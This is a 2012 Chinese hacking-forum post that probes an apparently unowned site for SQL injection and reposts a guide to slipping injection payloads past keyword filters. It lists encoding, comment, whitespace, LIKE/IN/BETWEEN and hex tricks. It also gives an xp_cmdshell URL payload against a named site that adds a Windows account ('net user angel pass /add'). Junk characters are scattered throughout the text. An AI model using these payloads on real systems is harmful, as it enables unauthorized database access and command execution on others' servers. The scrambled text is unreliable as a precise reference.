中国网络渗透测试联盟

标题: 饶过防注入系统方法总结 [打印本页]

作者: admin    时间: 2012-9-15 14:47
标题: 饶过防注入系统方法总结
路过这个网站,检测了一下.
$ y9 i! o$ C  z* ~" Jhttp://www.xxx.cn/Article.asp?ID=117 and 1=1
4 M- l3 f$ l& R直接返回主页
- c2 [0 _+ A7 C* Z( I, Phttp://www.xxx.cn/Article.asp?ID=117 or 1=1, X/ e; {9 x$ M0 i
直接返回主页' P% j4 _4 B- Q" h3 @5 G
http://www.xxx.cn/Article.asp?ID=117 or
7 X# s! i( G- d7 {5 y, M' ?4 R没有返回主页 没有过滤or
+ ?6 L) I& |9 R6 R. Thttp://www.xxx.cn/Article.asp?ID=117 and, Q+ e! E) O5 T
直接返回主页 看来过滤了and
' B* _! O( ?2 t3 O" O! E9 L3 Khttp://www.xxx.cn/Article.asp?ID=117 or 10 l4 t2 d$ n9 p
没有返回主页 即没有过滤or 也没有过滤1' Y# _, t# o; }
http://www.xxx.cn/Article.asp?ID=117 or 1=1
( `/ t* D. K: a, H# M' d* u直接返回主页 很明显过滤了等号 - Y/ y5 T2 h( o5 h% X6 c9 a
or的特性是与and相反的.
1 F6 T9 Z/ N* v% }# y4 S1 y# ~or 1=1 爆错 或与原页面不同
7 G0 q. S4 I) k* x, h8 F" D; Oor 1=2 原页面相同! r: S; o0 ?/ G. ?
这样就是一个注入点
' `+ e, @& S1 n9 M- C# P7 W* D, a2 R! q& h但他过滤了=号 我就用><号代替=号吧!1 G/ G& k( X$ c% |
or 1<2 很明显是正确的,所以应该与原页面不同' J5 `, r/ z0 J+ ^
or 1>2 很明显是错误的,所以应该与原页面相同
" i- q$ I! @! }0 ^5 A5 F然后看看有没有过滤其他的查询语句,比如select.
# y2 K3 X; I6 _. e8 Ihttp://www.xxx.cn/Article.asp?ID=117 select
+ Z; [7 L! C" \! c直接返回主页
8 a; _- n: \. p又迷茫了..
; p! n3 w( F$ E; A
. s, m' f% W: V0 u( E8 z$ d9 r1 X6 J% V/ q* O4 O/ W$ f) `* R6 }2 x: R
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗* D- ?" e( `4 o9 K3 m  c
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
& ^5 g' ~9 N* M( X  ~  P8 X================================================/ n8 n' n7 H4 B! b9 R$ P+ z, S5 q  l5 w
以下是转贴:: _9 `- s3 m5 \- I4 Y. |

6 s/ {& Q3 Z) f1 J' t- g$ m# A突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
/ [* A- D& \$ J8 H- o7 D7 Z7 d经过我的收集,大部分的防注入程序都过滤了以下关键字: 3 Y! N9 d  z7 c' _3 o. ~
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = ( s) S" ^5 X0 f5 O6 _$ Z5 {2 v
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
6 V5 E. y% O6 s  F& B9 {* [7 P对于关键字的过滤,以下是我收集的以及我个人的一些想法。
7 W" w+ K' l+ r! k  ], s1、运用编码技术绕过
! ~  O3 v! r& E- Y6 Z如URLEncode编码,ASCII编码绕过。例如or 1=1即   j+ g0 G( k" m, s7 [+ V
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 , }' i+ W. L% J. I
; u' J* {, U, P
2、通过空格绕过
3 {; B% P0 g; a如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
& r& T) m  A2 U- ]2 aor’ swords’ =‘swords’
$ t4 s5 x% @$ i( a, G,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
7 f6 x: @3 P9 z* G4 e% M$ b3、运用字符串判断代替
1 x" j" k. w; X5 ^+ K$ c用经典的or 1=1判断绕过,如 $ N  G) L7 V$ Y  y
or ’swords’ =’swords’
$ Q4 p, D! K- H, J* i7 ~5 {  ],这个方法就是网上在讨论的。
6 {8 {' t6 d# P7 A, Q4 K4、通过类型转换修饰符N绕过 # Z: _( S, [3 K/ f1 n
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
2 s8 N/ H( W. j8 a! F) @5、通过+号拆解字符串绕过 0 d: f; B' [6 m7 P' U# ~* \0 \9 Y4 j
效果值得考证,但毕竟是一种方法。如
' w0 F' I1 [2 _7 n9 Z- [or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
6 i( @3 A( B/ i( r
" ?; C  |8 @" L3 W6、通过LIKE绕过
7 _1 O, h* U9 U% R  [以前怎么就没想到呢?如or
: ?6 x& e8 r- ]) _* b’swords’ LIKE ’sw’ / ~, G' B" G8 J
!!!显然可以很轻松的绕过
5 S4 {% c, O. o8 p' ?( q# N“=”“>”
2 _9 P3 [7 T6 o3 s- ~- l的限制…… " N4 R0 n, @/ b. f" L- p
7、通过IN绕过
9 Y" q1 f3 w  f3 B1 \与上面的LIKE的思路差不多,如
8 P) k1 L3 [* w% f* S  Vor ’swords’ IN (’swords’) . H4 x) }* g& s: M* V, @! c% }

& m# H; r) x( `, E& ?4 u8、通过BETWEEN绕过
1 o* O  I# n  W1 Z" X* W. r  b4 J5 C3 F: k% ?
or ’swords’ BETWEEN ’rw’ AND ’tw’ $ S) |. u% R$ Y0 q9 l- Z0 o/ ^/ s
) f7 m8 @2 K& x' Y) P; g- t9 C% _8 C
9、通过>或者<绕过
- W3 g- U! X: {' D7 f% @" b3 wor ’swords’ > ’sw’ ( \$ p- ]( W: A$ N# J) {* O. Z
or ’swords’ < ’tw’ 2 ^% U) b! i) T* t: u
or 1<3
0 h) n  a* W, G& F( [; O& W' f……
1 j/ p0 B) K, }10、运用注释语句绕过
" }% `9 y* Q, {4 S' w用/**/代替空格,如: 5 B  C$ a  v: q% b+ a0 A1 J% \
UNION /**/ Select /**/user,pwd,from tbluser 2 G1 J( t6 L, w9 M; d  g) S0 E& |4 ^
3 G) \) l) G; V: B) r; [2 O: l& W
用/**/分割敏感词,如:
9 `+ s/ I# \, s4 t# NU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
- S3 j9 |% ^  y2 k( Z3 {, ]$ @& ]( i' `
11、用HEX绕过,一般的IDS都无法检测出来
1 X0 m# O6 A3 T% `- G$ |0x730079007300610064006D0069006E00 =hex(sysadmin) ! F& \! V; T) H$ y+ F0 J
0x640062005F006F0077006E0065007200 =hex(db_owner) # @8 j3 Q; v$ \3 D: [9 o* Y
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
  i. D2 `0 }  t. d- K( x" o  declare @a sysname 9 ~5 q0 \2 ?, k' J- `# Q1 J! a' L
  select @a= 7 E* n3 |5 v4 Y/ B5 z) P) G
  exec master.dbo.xp_cmdshell @a 1 w8 o6 m: \/ _: m0 u  B
效果
. \+ U# ~+ `( N3 U* z% vhttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
4 L- d* f, G; B$ Z
0 b) [2 Q8 ^! P8 q! R( \其中的
( E4 |' h( r1 [1 G8 {" ?0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 5 ^; }  `3 Q. v7 h% W
就是
, B& ~- S7 l. S+ f4 j: L  L; w“net user angel pass /add”
7 B9 L9 A" ~! _
3 M: O- c, r+ K$ W一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。& O( B. n3 c. Y5 ^- m
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
. |4 z! o5 U. T' ?  Y另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似$ M6 S, Q# v7 ]% h6 ~# b8 c% l
Copy code
& Q3 ?2 x5 l! E0 {1 G+ [( |select * from table exec xp_cmdshell'xxxxxxxxxx'
2 v: [% f) j- c* m" L! T6 H5 M  z/ v

( E9 H: R& j  L- n5 Mselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
2 j% K& G( P* h1 s! C( w, D( r
/ e/ i: W( D! }4 ?$ @& J; j: C1 j6 A( G
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'1 m& q) K+ r) t' Q: b1 [
; q4 ~- \6 x' z

1 ]! s8 ]2 N# U8 gselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'$ j+ u, [5 S! t0 ]6 u
9 T' F% d1 w4 E+ Z0 }/ S
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?, k9 O- x# a% L7 F6 o* L4 S

) Y$ ^# g( C+ _& A1 i( X这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了# q6 T, I* n: z  n
可能大家早就知道了,不管怎么说,发在这里吧!4 ?- o- E% Q- w; Y
' {8 A9 E, N# \3 e/ i9 U( m+ Z$ F3 I& ~
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。8 J0 S" q- l( K1 y5 A( x; ?! C, E4 r
9 P- E% v. s& G

7 {" J( [: C) v4 G; _/ H  b  i! J: Y/ U# M' _0 q3 B
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
+ R# u7 T% f( j3 J. i6 o比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? . t- w# H1 i) D( N% j( J
# ^* g: K4 T! _1 ^; h" b





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2